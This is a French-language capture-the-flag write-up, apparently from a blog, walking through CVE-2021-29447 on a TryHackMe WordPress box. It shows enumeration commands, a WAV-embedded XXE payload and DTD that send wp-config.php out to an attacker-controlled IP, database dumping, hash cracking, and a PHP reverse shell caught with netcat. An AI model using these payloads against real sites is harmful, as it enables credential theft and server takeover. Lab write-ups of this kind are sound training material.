WordPress: CVE-2021-29447 – Comment l’exploiter avec TryHackMe

Vulnerability allow a authenticated user whith low privilages upload a malicious WAV file that could lead to remote arbitrary file disclosure and server-side request forgery (SSRF).

Aujourd’hui, nous allons exploiter la vulnérabilité CVE-2021-29774 qui touche les versions  5.6 de WordPress. Cette box est disponible sur TryHackMe. Même s’il s’agit d’une box guidé tout n’est pas fait et il faudra faire pal mal de manipulation pour en arriver au bout.

Enumération

Même si on connait plus ou moins les ports qui sont ouverts aux vues des informations données et des questions posées plus bas. il est toujours intéressant de savoir par nous ce qu’il en est. 

Commande :

nmap -T5 -p- 10.10.162.16

 

Gobuster

Un scan avec Gobuster nous permet de confirmer qu’il y a bien un WordPress sur le port 80.

Commande :

gobuster dir -u http://10.10.162.16 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Wpscan

Enfin avec WPscan on peut vérifier la version installée.

Commande :

wpscan –url  10.10.162.16

Task 2 Ready Set Go

  • Use the vulnerability CVE-2021-29447 to read the WordPress configuration file.

D’autant plus qu’après plusieurs lectures ça reste pas très clair au niveau explication…

  • Based on the results of #1, what is the name of the database for WordPress?

wordpressdb2

  • Based on the results of #1, what are the credentials you found?

Redacted

Pour répondre à ces deux questions, il faut mettre en place l’exploit. Sachant qu’il faut utiliser les identifiants fournis en 1ier partie. À savoir :

user: test-corp
password: test

Etape 1 : connexion à l’interface de worpdress

Etape 2 : Création d’un payload en .wav

Commande : 

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.9.7.79:4444/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

Étape 3 : Création du fichier NAMEEVIL.dtd

Il faut créer un fichier NAMEEVIL.dtd avec l’aide de l’éditeur de texte de votre choix et copier les deux lignes suivantes.

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource /var/www/html/wp-config.php ">

<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.9.7.79:4444/?p=%file;'>" >

Étape 4 : Upload du fichier payload.wav

Par le biais du menu de gauche, il faut prendre média et ensuite faire Select Files

Il ne reste plus qu’à choisir le bon fichier.

Étape 5 : Mise en place d’un écouteur PHP

php -S 0.0.0.0:4444

Pour faire court, une fois que le payload est téléchargé dans WP, il est lu et son contenu est exécuté. Il va aller chercher sur l’IP 10.9.7.79 et le port 4444 le fichier NAMEEVIL.dtd.

À son tour ce fichier va être lu, et WordPress va exécuter les deux lignes de codes qui nous permettront de lire le fichier de configuration config.php.

Si tout se passe bien, vous devriez recevoir sur votre écouteur PHP cette réponse : 

La série de caractères n’est pas lisible même en la passant sur un decodeur base64. Il faut effectué cette commande : 

echo "<?php echo zlib_decode(base64_decode('base64here')); ?>" > wp.php

Étape 6 : Lecture du fichier : 

php wp.php

  • Enumerate and identify what is the dbms installed on the server?

mysql

  • Based on the results of #4, what is the dbms version installed on the server?

5.7.33

  • Based on the results of #4, what port is the dbms running on?

3306

Pour répondre à ces trois questions, une simple commande nmap suffit : 

nmap -sV -sC -p 3306 10.10.162.16

  • Compromise the dbms, What is the encrypted password located in the WordPress  users table with id 1??

Redacted

  • Based on the results of #7, What is the password in plaint text?

Redacted

Voici la liste des commandes à effectuer afin de récupérer le compte admin de WordPress :

Connexion à la base de donnée : 

mysql -h 10.10.162.16 -u thedarktangent -p

show databases ;
use wordpressdb2 ;
show tables;
select * from wptry_users;

John

Copie du hash dans un fichier.

Commande : 

echo ‘redacted’ > wp.hash

commande pour casser le hash : 

john wp.hash

Initial Foothold

Une fois connecté avec les identifiants du compte admin, il  faut uploader un faux thème en PHP contenant un reverse shell. Cela nous permettra d’obtenir un reverse shell.

POur cela, il faut cliquer sur Appearance, puis faire Upload en haut à droite. 

Si tout se passe bien, vous devriez avoir cette erreur : The package could not be install. PCLZIP_ERR_BAT_FORMAT (-10)

Le faux thème ne sera pas installé, mais il sera quand même uploader. Il faut ensuite aller le chercher dans http://10.10.162.16/wp-content/uploads/2021/08/ ( la date sera différente de la mienne ).

Oui, j’ai fait quelques essais avec le fichier .wav avant que ça fonctionne… 😃

Bref, avant de cliquer sur le shell.php, il faut mettre un NETCAT en place.

Commande 

nc -nlvp 4444

Pour le restant à faire vous pouvez upgrader le shell. En soit, il n’y a plus rien à faire, il faut se rendre dans le compte utilisateur stux et récupérer le flag.

 

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest